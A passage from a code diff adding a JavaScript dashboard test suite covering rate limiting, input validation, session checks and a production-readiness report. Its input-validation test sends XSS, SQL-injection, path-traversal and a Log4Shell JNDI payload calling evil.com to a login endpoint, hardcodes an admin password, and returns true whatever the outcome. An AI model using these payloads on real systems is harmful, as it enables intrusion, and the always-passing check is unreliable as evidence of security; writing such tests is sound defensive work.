+ console.log(` āœ… Input validation: ${inputValidationTest ? 'Working' : 'Failed'}`);
452
+ console.log(` šŸ” Session management: ${sessionTest ? 'Working' : 'Failed'}`);
453
+
454
+ } catch (error) {
455
+ console.error('āŒ Security test failed:', error.message);
456
+ this.testResults.security.error = error.message;
457
+ }
458
+ }
459
+
460
+ async testRateLimiting() {
461
+ try {
462
+ // Make multiple rapid requests to test rate limiting
463
+ const requests = [];
464
+ for (let i = 0; i < 20; i++) {
465
+ requests.push(axios.get(`${this.baseURL}/api/metrics`));
466
+ }
467
+
468
+ const results = await Promise.allSettled(requests);
469
+ const rejectedRequests = results.filter(r => r.status === 'rejected').length;
470
+
471
+ // If some requests are rejected, rate limiting is working
472
+ return rejectedRequests > 0;
473
+ } catch (error) {
474
+ return false;
475
+ }
476
+ }
477
+
478
+ async testInputValidation() {
479
+ try {
480
+ // Test malicious input
481
+ const maliciousInputs = [
482
+ '<script>alert("xss")</script>',
483
+ "'; DROP TABLE users; --",
484
+ '../../../etc/passwd',
485
+ '${jndi:ldap://evil.com/a}'
486
+ ];
487
+
488
+ for (const input of maliciousInputs) {
489
+ try {
490
+ await axios.post(`${this.baseURL}/api/auth/login`, {
491
+ username: input,
492
+ password: 'test'
493
+ });
494
+ } catch (error) {
495
+ // Expected to fail
496
+ continue;
497
+ }
498
+ }
499
+
500
+ return true;
501
+ } catch (error) {
502
+ return false;
503
+ }
504
+ }
505
+
506
+ async testSessionManagement() {
507
+ try {
508
+ // Test session timeout
509
+ const response = await axios.post(`${this.baseURL}/api/auth/login`, {
510
+ username: 'admin',
511
+ password: 'claude2025'
512
+ });
513
+
514
+ const token = response.data.token;
515
+
516
+ // Test token verification
517
+ const verifyResponse = await axios.post(`${this.baseURL}/api/auth/verify`, {
518
+ token: token
519
+ });
520
+
521
+ return verifyResponse.data.success && verifyResponse.data.valid;
522
+ } catch (error) {
523
+ return false;
524
+ }
525
+ }
526
+
527
+ async generateTestReport() {
528
+ console.log('\nšŸ“‹ Generating Comprehensive Test Report');
529
+ console.log('=' .repeat(60));
530
+
531
+ const testEndTime = performance.now();
532
+ const totalTestTime = testEndTime - this.testStartTime;
533
+
534
+ // Calculate overall success rate
535
+ const testCategories = Object.keys(this.testResults);
536
+ const successfulCategories = testCategories.filter(cat => {
537
+ const result = this.testResults[cat];
538
+ return result && !result.error && (result.overallSecurity !== false);
539
+ });
540
+
541
+ const overallSuccessRate = (successfulCategories.length / testCategories.length) * 100;
542
+
543
+ const report = {
544
+ summary: {
545
+ testStartTime: new Date(this.testStartTime).toISOString(),
546
+ testEndTime: new Date(testEndTime).toISOString(),
547
+ totalTestTime: `${totalTestTime.toFixed(2)}ms`,
548
+ overallSuccessRate: `${overallSuccessRate.toFixed(1)}%`,
549
+ categoriesPassed: successfulCategories.length,
550
+ totalCategories: testCategories.length
551
+ },
552
+ results: this.testResults,
553
+ recommendations: this.generateRecommendations(),
554
+ productionReadiness: this.assessProductionReadiness()
555
+ };
556
+
557
+ // Save detailed report
558
+ const reportPath = '/mnt/c/Users/masha/Documents/claude-flow-novice/DASHBOARD_COMPREHENSIVE_TEST_REPORT.json';
559
+ await import('fs').then(fs => {
560
+ fs.writeFileSync(reportPath, JSON.stringify(report, null, 2));
561
+ });
562
+
563
+ // Print summary
564
+ console.log('\nšŸ“Š Test Results Summary:');
565
+ console.log(` ā±ļø Total test time: ${report.summary.totalTestTime}`);
566
+ console.log(` āœ… Success rate: ${report.summary.overallSuccessRate}`);
567
+ console.log(` šŸ“ˆ Categories passed: ${report.summary.categoriesPassed}/${report.summary.totalCategories}`);
568
+
569
+ console.log('\nšŸ” Category Results:');
570
+ for (const [category, result] of Object.entries(this.testResults)) {
571
+ const status = result.error ? 'āŒ FAILED' : 'āœ… PASSED';
572
+ console.log(` ${status} ${category.charAt(0).toUpperCase() + category.slice(1)}`);
573
+ }
574
+
575
+ console.log('\nšŸŽÆ Production Readiness:', report.productionReadiness.status);
576
+ console.log(` šŸ“Š Score: ${report.productionReadiness.score}/100`);
577
+ console.log(` šŸ“ ${report.productionReadiness.assessment}`);
578
+
579
+ console.log('\nšŸ’” Key Recommendations:');
580
+ report.recommendations.slice(0, 5).forEach(rec => {
581
+ console.log(` • ${rec}`);
582
+ });
583
+
584
+ console.log(`\nšŸ“„ Detailed report saved to: ${reportPath}`);
585
+
586
+ return report;
587
+ }
588
+
589
+ generateRecommendations() {
590
+ const recommendations = [];
591
+
592
+ // Analyze test results and generate recommendations
593
+ if (!this.testResults.authentication?.tokenVerification?.valid) {
594
+ recommendations.push('Implement stronger token validation and refresh mechanisms');
595
+ }
596
+
597
+ if (!this.testResults.csp?.cspHeaderPresent) {
598
+ recommendations.push('Add Content Security Policy headers to prevent XSS attacks');
599
+ }
600
+
601
+ if (!this.testResults.realtime?.frequencyStable) {
602
+ recommendations.push('Optimize WebSocket connection for more stable real-time updates');
603
+ }
604
+
605
+ if (!this.testResults.multiSwarm?.metricsAPIWorking) {
606
+ recommendations.push('Fix swarm metrics API for better multi-swarm monitoring');
607
+ }
608
+
609
+ if (!this.testResults.performance?.systemStable) {
610
+ recommendations.push('Optimize system performance for large-scale agent deployments');
611
+ }
612
+
613
+ if (!this.testResults.security?.overallSecurity) {
614
+ recommendations.push('Strengthen security measures including rate limiting and input validation');
615
+ }
616
+
617
+ if (recommendations.length === 0) {
618
+ recommendations.push('All systems are performing well - consider implementing advanced monitoring and alerting');
619
+ }
620
+
621
+ return recommendations;
622
+ }
623
+
624
+ assessProductionReadiness() {
625
+ let score = 0;
626
+ const maxScore = 100;
627
+
628
+ // Score each category
629
+ const categoryScores = {
630
+ authentication: 20,
631
+ csp: 15,
632
+ realtime: 20,
633
+ multiSwarm: 20,
634
+ performance: 15,
635
+ security: 10
636
+ };
637
+
638
+ for (const [category, maxPoints] of Object.entries(categoryScores)) {
639
+ const result = this.testResults[category];
640
+ if (result && !result.error) {
641
+ if (category === 'performance' && result.systemStable) {
642
+ score += maxPoints;
643
+ } else if (category === 'security' && result.overallSecurity) {
644
+ score += maxPoints;
645
+ } else if (category !== 'performance' && category !== 'security') {
646
+ score += maxPoints;
647
+ }
648
+ }
649
+ }
650
+
651
+ let status, assessment;
652
+ if (score >= 90) {
653
+ status = '🟢 PRODUCTION READY';
654
+ assessment = 'Excellent - All critical systems functioning properly';
655
+ } else if (score >= 75) {
656
+ status = '🟔 READY WITH CAVEATS';
657
+ assessment = 'Good - Minor issues should be addressed before production';
658
+ } else if (score >= 60) {
659
+ status = '🟠 NEEDS IMPROVEMENT';
660
+ assessment = 'Fair - Significant issues need to be resolved';
661
+ } else {
662
+ status = 'šŸ”“ NOT READY';
663
+ assessment = 'Poor - Critical issues must be fixed before production';
664
+ }
665
+
666
+ return {
667
+ score,
668
+ status,
669
+ assessment
670
+ };
671
+ }
672
+ }
673
+
674
+ // Run the comprehensive test suite
675
+ async function main() {
676
+ const testSuite = new DashboardTestSuite();
677
+
678
+ try {
679
+ const report = await testSuite.runAllTests();
680
+ console.log('\nšŸŽ‰ Comprehensive dashboard testing completed!');
681
+ process.exit(0);
682
+ } catch (error) {
683
+ console.error('\nšŸ’„ Test suite failed:', error);
684
+ process.exit(1);
685
+ }
686
+ }
687
+
688
+ // Run if executed directly
689
+ if (import.meta.url === `file://${process.argv[1]}`) {
690
+ main();
691
+ }
692
+
693
+ export { DashboardTestSuite };